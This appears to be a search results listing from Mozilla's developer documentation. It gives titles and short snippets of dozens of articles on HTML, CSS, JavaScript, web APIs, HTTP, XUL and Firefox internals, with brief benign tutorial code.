...below is an overview of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases.
...And 43 more matches
Connecting to Remote Content - Archive of obsolete content
« previousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http.
...besides xml, it can be used to retrieve data in other formats, for example json, html and plain text.
... in this section we'll look into the xml and json communication mechanisms.
...And 43 more matches
CSS values and units - Learn web development
in css specifications and on the property pages here on mdn you will be able to spot values as they will be surrounded by angle brackets, such as <color> or <length>.
... when you see the value <color> as valid for a particular property, that means you can use any valid color as a value for that property, as listed on the <color> reference page.
...the terms are basically interchangeable — when you see something in css referred to as a data type, it is really just a fancy way of saying value.
...And 43 more matches
Fetching data from the server - Learn web development
previous overview: client-side web apis next another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page.
... note: in the early days, this general technique was known as asynchronous javascript and xml (ajax), because it tended to use xmlhttprequest to request xml data.
... this is normally not the case these days (you'd be more likely to use xmlhttprequest or fetch to request json), but the result is still the same, and the term "ajax" is still often used to describe the technique.
...And 43 more matches
Error codes returned by Mozilla APIs
the following tables list errors that can occur when calling various mozilla apis.
...an error will typically be displayed on the error console, but can be captured using a try-catch block in javascript.
... these constants can be accessed through components.results.
...And 43 more matches
nsIAccessibleRole
role_titlebar 1 represents a title or caption bar for a window.
... it is used by msaa only, supported automatically by ms windows.
... role_scrollbar 3 represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.
...And 43 more matches
Using nsIDirectoryService
getting a location: most developers need to find where a file or directory is located.
...first, you must know what the string key (or property) is that refers to this locations.
... header files containing known keys are listed in the known locations section of this document.
...And 43 more matches
Proxy Auto-Configuration (PAC) file - HTTP
in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.prox...
...it can be extracted from the url when necessary.
... return value format the javascript function returns a single string if the string is null, no proxies should be used the string can contain any number of the following building blocks, separated by a semicolon: direct connections should be made directly, without any proxies proxy host:port the specified proxy should be used socks host:port the specified socks server should be used recent versions of firefox support as well: http host:port the specified proxy should be used https host:port the specified https proxy should be used socks4 host:port socks5 host:port the specified socks server (with the specified sock version) should be used ...
...And 43 more matches
dev/panel - Archive of obsolete content
note that at the moment you can't debug remote targets (for example, firefox os, the firefox os simulator, or firefox for android) using tools developed with this api.
...most of the firefox developer tools are hosted in a ui component called the toolbox.
...with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and behavior using html, css, and javascript.
...And 42 more matches
Complete - Archive of obsolete content
when it is finished, it will get a category and links from other pages.
...introduction you can use the custom toolbar button tutorial as a very simple introduction to extensions.
... however, because it is so simple it does not support some of the usual features of extensions.
...And 42 more matches
Building up a basic demo with Three.js - Game development
a typical 3d scene in a game — even the simplest one — contains standard items like shapes located in a coordinate system, a camera to actually see them, lights and materials to make it look better, animations to make it look alive, etc.
... note: we chose three because it is one of the most popular webgl libraries, and it is easy to get started with.
... we are not trying to say it is better than any other webgl library available, and you should feel free to try another library, such as copperlicht, glge, or playcanvas.
...And 42 more matches
Handling different text directions - Learn web development
previous overview: building blocks next many of the properties and values that we have encountered so far in our css learning have been tied to the physical dimensions of our screen.
...these physical dimensions map very neatly to content that is viewed horizontally, and by default the web tends to support left-to-right languages (e.g.
... in recent years however, css has evolved in order to better support different directionality of content, including right-to-left but also top-to-bottom content (such as japanese) — these different directionalities are called writing modes.
...And 42 more matches
A first splash into JavaScript - Learn web development
previous overview: first steps next now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript via a completely practical tutorial.
...we can't promise that you'll develop "programmer brain" in five minutes, but we will give you plenty of opportunity to practice thinking like a programmer throughout the course.
... example — guess the number game in this article we'll show you how to build up the simple game you can see below: top hidden code <!doctype html> <html> <head> <meta charset="utf-8"> <title>number guessing game</title> <style> html { font-family: sans-serif; } body { width: 50%; max-width: 800px; min-width: 480px; margin: 0 auto; } .lastresult { color: white; padding: 3px; } </style> </head> <body> <h1>number guessing game</h1> <p>we have selected a random number between 1 and...
...And 42 more matches
Accessibility API cross-reference
the ipc mechanisms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets.
...this table is the start of a cross-reference, so we can spot the differences and similarities in the apis.
...aria can be used to 'fill out' the missing semantics of html, but may also be used in other markup languages (such as svg) and expresses semantics using attributes, compared with html, which tends to have distinct named elements for its roles.
...And 42 more matches
Debugging on Windows
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on windows using the visual c++ ide.
... if vc++ and your mozilla application hang shortly after you launch the application under the debugger, see problems loading debug symbols.
...this means that visual studio will only attach to the first process it finds, and will not hit any break-point (and even notifies you that it cannot find their location).
...And 42 more matches
Translation phase
as a reward for your efforts, you get to move on to the very reason you've come here: to localize mozilla projects.
... this is where the technical aspect of the process begins to divide.
... at mozilla, we localize many different projects that can be categorized into three different groups.
...And 42 more matches
JSS FAQ
MozillaProjectsNSSJSSJSS FAQ
if i don't call setcipherpolicy, is the domestic policy used by default?
... how can i tell which ssl/tls ciphers jss supports?
... how can i debug my ssl connection?
...And 42 more matches
Network request list - Firefox Developer Tools
you can override this behavior by checking "enable persistent logs" in the settings.
... network request columns you can toggle columns on and off by right-clicking on the table header and choosing the specific column from the context menu.
... you can also change the width of the columns to help make the information you are looking for easier to view.
...And 42 more matches
A simple RTCDataChannel sample - Web APIs
the api is intentionally similar to the websocket api, so that the same programming model can be used for each.
...we'll cover the mechanics of accomplishing the connection and transmitting and receiving data, but we will save the bits about locating and linking to a remote computer for another example.
...there's nothing incredibly complicated here.
...And 42 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
the webxr apis used for implementing augmented and virtual reality is designed specifically to provide the ability to insert a human into a virtual environment.
... to accomplish this, software needs the ability to not only track the locations, orientation, and movements of objects in the virtual world, but the user's location, orientation, and movement as well.
... but webxr goes beyond that by adding the ability to track the location, orientation, and motion of the input devices which generate data used to determine the position and movement of individual parts of the viewer's body (with appropriate equipment).
...And 42 more matches
Authoring MathML - MathML
mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags.
...of course, the list is by no means exhaustive and you are invited to check out the w3c mathml software list where you can find various other tools.
... note that by design, mathml is well-integrated in html5 and in particular you can use usual web features like css, dom, javascript or svg.
...And 42 more matches
Preferences - Archive of obsolete content
information here applies to the mozilla suite, firefox, thunderbird, and possibly other mozilla-based applications.
...to get an nsiprefbranch, either queryinterface() the pref service (that will give you the root branch) or call nsiprefservice.getbranch() to get a sub-branch.
...however, there is a concept of complex types, which makes it easier for developers to save and load nsilocalfile and nsisupportsstring objects in preferences (as strings — note that from the preferences system's point of view, complex values have a nsiprefbranch.pref_string type.) there are two nsiprefbranch methods implementing the concept — setcomplexvalue() and getcomplexvalue().
...And 41 more matches
Adding windows and dialogs - Archive of obsolete content
the window.open page has a detailed description of the features you can use and their values.
...this can only be used from the chrome, not from regular html javascript.
... it indicates that a chrome document is being opened, not a web page.
...And 41 more matches
XUL element attributes - Archive of obsolete content
for boxes that have horizontal orientation, it specifies how its children will be aligned vertically.
... for boxes that have vertical orientation, it specifies how its children will be aligned horizontally.
...it causes the child elements to be aligned so that their text labels are lined up.
...And 41 more matches
Adobe Flash - Archive of obsolete content
it can also access javascript methods from within the plugin.
... this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fscommands can be used to access javascript functions from within the flash animation.
... detecting the right flash plugin (and browser) adobe flash has exposed the scriptability feature in netscape gecko browsers since flash 6r49 and later.
...And 41 more matches
Audio for Web games - Game development
mobile audio caveats by far the most difficult platforms to provide web audio support for are mobile platforms.
...there are a couple of differences between desktop and mobile browsers that may have caused browser vendors to make choices that can make web audio difficult for game developers to work with.
... many browsers will simply ignore any requests made by your game to automatically play audio; instead playback for audio needs to be started by a user-initiated event, such as a click or tap.
...And 41 more matches
Website security - Learn web development
this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks.
... objective: to understand the most common threats to web application security and what you can do to reduce the risk of your site being hacked.
...in other high-profile cases, millions of passwords, email addresses, and credit card details have been leaked into the public domain, exposing website users to both personal embarrassment and financial risk.
...And 41 more matches
Deploying our app - Learn web development
previous overview: understanding client-side tools in the final article in our series, we take the example toolchain we built up in the previous article and add to it so that we can deploy our sample app.
... objective: to finish working through our complete toolchain case study, focusing on deploying the app.
... here's just a few things to consider for this particular project: generating a production build: ensuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted".
...And 41 more matches
Configuring Build Options
please read the following directions carefully before building, and follow them in order.
... skipping any step may cause the build to fail, or the built software to be unusable.
... using a mozconfig configuration file the choice of which mozilla application to build and other configuration options can be configured in a mozconfig file.
...And 41 more matches
Displaying Places information using views
the built-in views if you need to show the contents of bookmarks or history in your extension or application, you may want to use the built-in places views, which are generic and will save you a lot of time writing basic functionality so that you can focus on building your extension or application.
... note: starting in gecko 2.0, you can't use the place attribute with menus.
...for more complicated queries or queries whose uris you plan on changing, you will want to set the view's place property dynamically using javascript.
...And 41 more matches
Mozilla Web Developer FAQ
this document answers questions that web authors ask frequently specifically in connection with firefox and other gecko-based browsers.
...in the standards mode gecko aims to treat documents authored in compliance with the applicable web format specifications.
...this includes documents sent as application/xhtml+xml.
...And 41 more matches
Garbage collection
principal data structures cell a cell is the unit of memory that is allocated and collected by the gc, as used externally.
... in other words, from the point of view of the rest of the engine, the job of the gc is to allocate cells and automatically collect them.
... cell is the base class for all classes that are allocated by the gc, e.g., jsobject.
...And 41 more matches
nsITreeView
inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitreeview in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make changes to the tree manually when changes to the database occur.
... method overview boolean candrop(in long index, in long orientation, in nsidomdatatransfer datatransfer); boolean candropbeforeafter(in long index, in boolean before); obsolete since gecko 1.8 boolean candropon(in long index); obsolete since gecko 1.8 void cyclecell(in long row, in nsitreecolumn col); void cycleheader(in nsitreecolumn col); void drop(in long row, in long orientation, in nsidomdatatransfer datatransfer); astring getcellproperties(in long row, in nsitreecolumn col, in nsisupportsarray properties obsolete since gecko 22); astring getcelltext(in long row, in nsitreecolumn col); astring getcellvalue(in long row, in nsitree...
...: renamed from progressundetermined in gecko 1.8 progress_none 3 note: renamed from progressnone in gecko 1.8 drop_before -1 drop_on 0 drop_after 1 indropbefore 0 obsolete since gecko 1.8 indropon 1 obsolete since gecko 1.8 indropafter 2 obsolete since gecko 1.8 methods candrop() methods used by the drag feedback code to determine if a drag is allowable at the current location.
...And 41 more matches
Mail composition back end
pizzarro <rhp@netscape.com> contents overview sending messages nsimsgsend sending listener interfaces nsimsgsendlistener nsimsgcopyservicelistener copy operations copy to sent folder drafts templates "send later" sending unsent messages sending unsent messages listener quoting sample programs overview i've done considerable work in the past few weeks reorganizing the mail composition back end, so i thought it would be helpful to put together a small doc on the new interfaces and how one can use them.
...included in this functionality is the code to copy the messages to the appropriate locations after delivery (i.e.
...the feedback mechanism is provided by a nsimsgsendlistener which is implemented by the caller.
...And 41 more matches
A basic 2D WebGL animation example - Web APIs
in this webgl example, we create a canvas and within it render a rotating square using webgl.
... the coordinate system we use to represent our scene is the same as the canvas's coordinate system.
... <script id="vertex-shader" type="x-shader/x-vertex"> attribute vec2 avertexposition; uniform vec2 uscalingfactor; uniform vec2 urotationvector; void main() { vec2 rotatedposition = vec2( avertexposition.x * urotationvector.y + avertexposition.y * urotationvector.x, avertexposition.y * urotationvector.y - avertexposition.x * urotationvector.x ); gl_position = vec4(rotatedposition * uscalingfactor, 0.0, 1.0); } </script> the main program share...
...And 41 more matches
Link types - HTML: Hypertext Markup Language
in html, link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, <form>, or <link> element.
... list of the defined link types and their significance in html link type description allowed in these elements not allowed in these elements alternate if the element is <link> and the rel attribute also contains the stylesheet type, the link defines an alternative style sheet; in that case the title attribute must be present and not be the empty string.
... if the type is set to application/rss+xml or application/atom+xml, the link defines a syndication feed.
...And 41 more matches
passwords - Archive of obsolete content
usage a credential is the set of information a user supplies to authenticate herself with a service.
... typically a credential consists of a username and a password.
... using this module you can: search for credentials which have been stored in the password manager.
...And 40 more matches
Adding Events and Commands - Archive of obsolete content
window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need.
... another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior.
...there's a long list of events you can listen to, and which you use depend on the situation.
...And 40 more matches
What is accessibility? - Learn web development
overview: accessibility next this article starts the module off with a good look at what accessibility is — this overview includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow.
...just as it is wrong to exclude someone from a physical building because they are in a wheelchair (modern public buildings generally have wheelchair ramps or elevators), it is also not right to exclude someone from a website because they have a visual impairment.
...providing accessible sites is part of the law in some countries, which can open up some significant markets that otherwise would not be able to use your services or buy your products.
...And 40 more matches
JavaScript basics - Learn web development
javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website.
...these include: browser application programming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and manipulating a video stream from a user's webcam, or generating 3d graphics and audio samples.
... third-party frameworks and libraries that you can apply to html to accelerate the work of building sites and applications.
...And 40 more matches
Images in HTML - Learn web development
there are other types of multimedia to consider, but it is logical to start with the humble <img> element, used to embed a simple image in a webpage.
... in this article we'll look at how to use it in depth, including the basics, annotating it with captions using <figure>, and detailing how it relates to css background images.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html.) objective: to learn how to embed simple images in html, annotate them with captions, and how html images relate to css background images.
...And 40 more matches
Storing the information you need — Variables - Learn web development
previous overview: first steps next after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level.
...but one special thing about variables is that their contained values can change.
...it would end up looking something like this: let name = prompt('what is your name?'); if (name === 'adam') { alert('hello adam, nice to see you!'); } else if (name === 'alan') { alert('hello alan, nice to see you!'); } else if (name === 'bella') { alert('hello bella, nice to see you!'); } else if (name === 'bianca') { alert('hello bianca, nice to see you!'); } else if (name === 'chris') { alert('hello chris, nice to see you!'); } // ...
...And 40 more matches
Framework main features - Learn web development
domain-specific languages all of the frameworks discussed in this module are powered by javascript, and all allow you to use domain-specific languages (dsls) in order to build your applications.
...unlike html, these languages know how to read data variables, and this data can be used to streamline the process of writing your ui.
...typescript is not concerned with the writing of user interfaces, but it is a domain-specific language, and has significant differences to vanilla javascript.
...And 40 more matches
nsIFaviconService
rpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfaviconlinkforicon(in nsiuri afaviconuri); boolean isfailedfavicon(in nsiuri afaviconuri); void removefailedfavicon(in nsiuri afaviconuri); void setandloadfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); obsolete since gecko 22.0 void setfavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, in prtime aexpiration); obsolete since gecko 22.0 void setfavicondatafromdataurl(in nsiuri afaviconuri, in astring adataurl, in prtime aexpiration); obsolete since gecko 22.0 void set...
... methods addfailedfavicon() this method adds a given favicon's uri to the failed favicon cache.
... the lifespan of the favicon cache is up to the caching system.
...And 40 more matches
Web Console remoting - Firefox Developer Tools
for communication between the server and the client we use the remote debugging protocol.
...the client can request further network event details - like response body or request headers.
...these can be: page errors, window.console api messages, network activity, and file activity.
...And 40 more matches
HTMLInputElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,...
... formnovalidate boolean: returns / sets the element's formnovalidate attribute, indicating that the form is not to be validated when it is submitted.
... formtarget string: returns / sets the element's formtarget attribute, containing a name or keyword indicating where to display the response that is received after submitting the form.
...And 40 more matches
Web Audio API - Web APIs
they typically start with one or more sources.
...these could be either computed mathematically (such as oscillatornode), or they can be recordings from sound/video files (like audiobuffersourcenode and mediaelementaudiosourcenode) and audio streams (mediastreamaudiosourcenode).
... in fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave.
...And 40 more matches
JavaScript data types and data structures - JavaScript
these can be used to build other data structures.
...variables in javascript are not directly associated with any particular value type, and any variable can be assigned (and re-assigned) values of all types: let foo = 42; // foo is now a number foo = 'bar'; // foo is now a string foo = true; // foo is now a boolean data and structure types the latest ecmascript standard defines nine types: six data types that are primitives, checked by typeof operator: undefined : typeof instance === "undefined" boolean : typeof instance === "boolean" number : typeof instance === "number" string : typeof instance === "string" bigint : typeof instance === "bigint" symbol : typeof instance ...
...but even in that case there might be misconceptions.
...And 40 more matches
Regular expression syntax cheatsheet - JavaScript
this page provides an overall cheat sheet of all the capabilities of regexp syntax by aggregating the content of the articles in the regexp guide.
...so to match a pattern across multiple lines, the character set [^] can be used — it will match any character including newlines.
... \r matches a carriage return.
...And 40 more matches
this - JavaScript
in most cases, the value of this is determined by how a function is called (runtime binding).
... it can't be set by assignment during execution, and it may be different each time the function is called.
... es5 introduced the bind() method to set the value of a function's this regardless of how it's called, and es2015 introduced arrow functions which don't provide their own this binding (it retains the this value of the enclosing lexical context).
...And 40 more matches
tabs - Archive of obsolete content
usage open a tab you can open a new tab, specifying various properties including location: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings.
...tabs.on('ready', function(tab) { console.log('tab is loaded', tab.title, tab.url); }); access tabs the module itself can be used as a list of all opened tabs across all windows.
... in particular, you can enumerate it: var tabs = require('sdk/tabs'); for (let tab of tabs) console.log(tab.title); you can also access individual tabs by index: var tabs = require('sdk/tabs'); tabs.on('ready', function () { console.log('first: ' + tabs[0].title); console.log('last: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.url + " is ope...
...And 39 more matches
File I/O - Archive of obsolete content
this article describes local file input/output in chrome javascript.
...for legacy reasons, there is also an nsilocalfile interface.
... creating an nsifile object components.utils.import("resource://gre/modules/fileutils.jsm"); var file = new fileutils.file("/home"); or the same without using fileutils.jsm: var file = components.classes["@mozilla.org/file/local;1"].
...And 39 more matches
Intercepting Page Loads - Archive of obsolete content
we store the handler function in a private variable because later we want to remove it when we do not need it anymore.
...in most cases you'll need to compare the page url with some string or regular expression: if (some_regular_expression.test(doc.defaultview.location.href)) you can access and modify the dom of the loaded page, just like you normally would for xul and html documents.
... you can't, however, easily cancel the page load.
...And 39 more matches
Building accessible custom components in XUL - Archive of obsolete content
developers have been doing this for some time, but the resulting controls were never as accessible as similar controls in desktop applications.
...by implementing dhtml accessibility techniques, web developers can declare that generic html elements are really acting as specific gui controls (such as a treeitem within a treeview).
... firefox 1.5 is the first browser to support dhtml accessibility; it maps the declarations within the html page to the underlying accessibility architecture so that assistive technologies can "read" a web page and know how to present these complex controls to the end user.
...And 39 more matches
Using the Editor from XUL - Archive of obsolete content
you can find the relevant xul parts in editor.xul, the javascript parts in editor.js, and the xbl binding for the editor element in editor.xml.
...that causes the editoronload() javascript function to get executed when the xul is done loading.
... editoronload() is called.
...And 39 more matches
The Business Benefits of Web Standards - Archive of obsolete content
caught between a rock and a hard place, web designers face a formidable challenge.
... this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals.
...specifically, presentation is defined using layout-oriented css language.
...And 39 more matches
Plug-in Development Overview - Gecko Plugin API Reference
you can use a variety of environments to create a plug-in, but make sure that you have the necessary files from the plugin sdk.
...to see your plug-in in action, simply display the html page that calls it in the browser.
...the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server.
...And 39 more matches
Introduction to CSS layout - Learn web development
overview: css layout next this article will recap some of the css layout features we've already touched upon in previous modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module.
...each technique can be learned in greater detail in subsequent tutorials.
...let's look at a quick html example: <p>i love my cat.</p> <ul> <li>buy cat food</li> <li>exercise</li> <li>cheer up friend</li> </ul> <p>the end!</p> by default, the browser will display this code as follows: note here how the html is displayed in the exact order in which it appears in the source code, with elements stacked up on top of one another — the first paragraph, followed by the unordered list, followed by the second paragrap...
...And 39 more matches
Positioning - Learn web development
we'd like you to follow along with the exercises on your local computer, if possible — grab a copy of 0_basic-flow.html from our github repo (source code here) and use that as a starting point.
... there are a number of different types of positioning that you can put into effect on html elements.
... note: you can see the example at this point live at 1_static-positioning.html (see source code).
...And 39 more matches
Responsive images - Learn web development
let's examine a typical scenario.
... a typical website may contain a header image and some content images below the header.
...here's a simple example: this works well on a wide screen device, such as a laptop or desktop (you can see the example live and find the source code on github.) we won't discuss the css much in this lesson, except to say that: the body content has been set to a maximum width of 1200 pixels — in viewports above that width, the body remains at 1200px and centers itself in the available space.
...And 39 more matches
Useful string methods - Learn web development
previous overview: first steps next now that we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.
...you can see this if you go to the string object page and look down the list on the side of the page!
...try entering the following lines: let browsertype = 'mozilla'; browsertype.length; this should return the number 7, because "mozilla" is 7 characters long.
...And 39 more matches
Deployment and next steps - Learn web development
previous overview: client-side javascript frameworks in the previous article we learning about svelte's typescript support, and how to use it to make your application more robust.
... in this final article we will look at how to deploy your application and get it online, and also share some of the resources that you should go on to, to continue your svelte learning journey.
... note that our application is fully functional and porting it to typescript is completely optional.
...And 39 more matches
Software accessibility: Where are we today?
the accessibility of computer software has seen drastic improvements over the past two decades.
...many, including those who were blind or physically disabled, were unable to use applications which were written for microsoft operating systems.
... these applications assumed that computer users could: read and react to text and images displayed on the screen.
...And 39 more matches
SpiderMonkey Internals
a js-to-js function call pushes a javascript stack frame without growing the c stack.
... but since js-to-c-to-js call stacks are common, the interpreter is reentrant.
... some spidermonkey bytecode operations have many special cases, depending on the type of their arguments.
...And 39 more matches
Using XPCOM Components
applications like the mozilla browser are sophisticated, modularized clients of xpcom components.
... component examples you can find out more about how you can use the particular components described here in the xpcom api reference.
... cookie manager cookie management is one of the many sets of functionality that is made available to the browser in the form of an xpcom component and that can be reused by developers who want similar functionality in their applications.
...And 39 more matches
Plug-in Development Overview - Plugins
you can use a variety of environments to create a plug-in, but make sure that you have the necessary files from the plugin sdk.
...to see your plug-in in action, simply display the html page that calls it in the browser.
...the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server.
...And 39 more matches
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css background-image, border-image, mask-image, etc.
... to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight background, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
...the second parameter is the class that does all the magic, defining the context options and what to paint to the two-dimensional canvas that will be our image.
...And 39 more matches
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
these are functionally identical to text inputs, but may be styled differently by the user agent.
...you can retrieve this using the htmlinputelement.value property in javascript.
... searchterms = mysearch.value; if no validation constraints are in place for the input (see validation for more details), the value can be any text string or an empty string ("").
...And 39 more matches
An overview of HTTP - HTTP
WebHTTPOverview
clients and servers communicate by exchanging individual messages (as opposed to a stream of data).
... the messages sent by the client, usually a web browser, are called requests and the messages sent by the server as an answer are called responses.
...it is an application layer protocol that is sent over tcp, or over a tls-encrypted tcp connection, though any reliable transport protocol could theoretically be used.
...And 39 more matches
HTTP response status codes - HTTP
WebHTTPStatus
http response status codes indicate whether a specific http request has been successfully completed.
...you can find an updated specification in rfc 7231.
... information responses 100 continue this interim response indicates that everything so far is ok and that the client should continue the request, or ignore the response if the request is already finished.
...And 39 more matches
Functions - JavaScript
generally speaking, a function is a "subprogram" that can be called by code external (or internal in the case of recursion) to the function.
... like the program itself, a function is composed of a sequence of statements called the function body.
... values can be passed to a function, and the function will return a value.
...And 39 more matches
Promise - JavaScript
to learn about the way promises work and how you can use them, we advise you to read using promises first.
... a pending promise can either be fulfilled with a value, or rejected with a reason (error).
... when either of these options happens, the associated handlers queued up by a promise's then method are called.
...And 39 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
automatically starting the playback of audio (or videos with audio tracks) immediately upon page load can be an unwelcome surprise to users.
... while autoplay of media serves a useful purpose, it should be used carefully and only when needed.
... autoplay and autoplay blocking the term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin.
...And 39 more matches
Web Performance
we cover them in this section: key performance guides animation performance and frame rateanimation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
... the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate.critical rendering paththe critical rendering path is the sequence of steps the browser goes through to convert the html, css, and javascript into pixels on the screen.
... optimizing the critical render path improves render performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout.css and javascript animation performancebrowsers are able to optimize rendering flows.
...And 39 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
how applications determine compatibility when installing add-ons applications look at the targetapplication entries in the add-on's install.rdf.
... an entry must exist with an id matching the id of the application.
... additionally the minversion and maxversion of this entry must be a range that includes the version of the running application.
...And 38 more matches
Style System Overview - Archive of obsolete content
style system style sheets & rules ↓ rule tree ↓ style context interface style sheets & rules nsistyleruleprocessor and nsistylesheet describe in c++ what a css stylesheet can do nsistylerule describes in c++ what a css style rule can do main implementations are for css, but we have other implementations in c++ that: do what css can't do do things faster than css would css style sheets at basic level, sheet is collection of rules other special things: @import, @media, @namespace, etc.
... “cascaded” value for property + element: if 0 rules matching the element have the property: some properties inherit and some properties use initial value.
... 1 matching rule: use value 2+ matching rules: cascade decides which wins: sort by origin (ua, user, author) & weight (!important), then specificity of selector, then order example document source <doc> <title>a few quotes</title> <para class="emph"> franklin said that <quote>"a penny saved is a penny earned."</quote> </para> <para> fdr said <quote>"we have nothing to fear but <span class="emph">fear itself.</span>"</quote> </para> </doc> example document tree doc ↙ ↓ ↘ title para class="emph" para ↓ ↓ ...
...And 38 more matches
JavaScript Client API - Archive of obsolete content
this document is somewhat outdated, and the api isn't well-supported for use from add-ons; tread carefully.
... please note that usage of the sync apis is governed by a terms of service: by accessing or using the firefox sync apis in connection with the development of your own client software to access the firefox sync services (a “third party client”), you acknowledge that you will need to install and use a local version of the firefox sync server for multiple account testing and that any use of mozilla’s hosted firefox sync services is subject to mozilla’s firefox sync terms of service at https://services.mozilla.com/tos/.
...cted; (b) that your third party client will only store data in encrypted form on the firefox sync servers operated by mozilla; (c) that you and your third party client will use the firefox sync apis solely for their intended purpose; (d) that your third party client will not hide or mask its identity as it uses the services and/or firefox sync apis, including by failing to follow required identification conventions; and (e) that you and your third party client will not use the firefox sync apis for any application or service that replicates or attempts to replicate the services or firefox sync experience unless such use is non-confusing (by non-confusing, we mean that people should always know with whom they are dealing and where the information or software they are downloading came from).
...And 38 more matches
Anonymous Content - Archive of obsolete content
introduction a binding can specify an anonymous content template using the content element.
...an element declared in a bound document using a single tag can then be constructed out of multiple child elements, and this implementation is hidden from the bound document.
...a sample xbl binding for the file widget might look as follows: <binding id="fileupload"> <content> <html:input type="text"/> <html:input type="button"/> </content> </binding> because this content is not visible to its parent element, it is said to be anonymous content.
...And 38 more matches
Template Logging - Archive of obsolete content
« previous debugging problems with a template can be difficult as many problems are logic errors that are often not possible to determine automatically.
... for example, if you spell a value wrong, no data may be returned, but the template system won't know that that this was because of a spelling error, or simply that there shouldn't be any data anyway.
...the error console can be found on the firefox tools menu.
...And 38 more matches
XUL Questions and Answers - Archive of obsolete content
return to mozilla-dev-tech-xul summaries the frequently asked questions should be moved to xul faq (make sure they have a clear answer.) where can i get more information about creating mozsearch plugins?
...more documentation on search plugins is available in the search plugins category.
... is localizing remote xul possible?
...And 38 more matches
Debugging CSS - Learn web development
this article will give you guidance on how to go about debugging a css problem, and show you how the devtools included in all modern browsers can help you to find out what is going on.
... the dom versus view source something that can trip up newcomers to devtools is the difference between what you see when you view the source of a webpage, or look at the html file you put on the server, and what you can see in the html pane of the devtools.
... while it looks roughly similar to what you can see via view source there are some differences.
...And 38 more matches
Responsive design - Learn web development
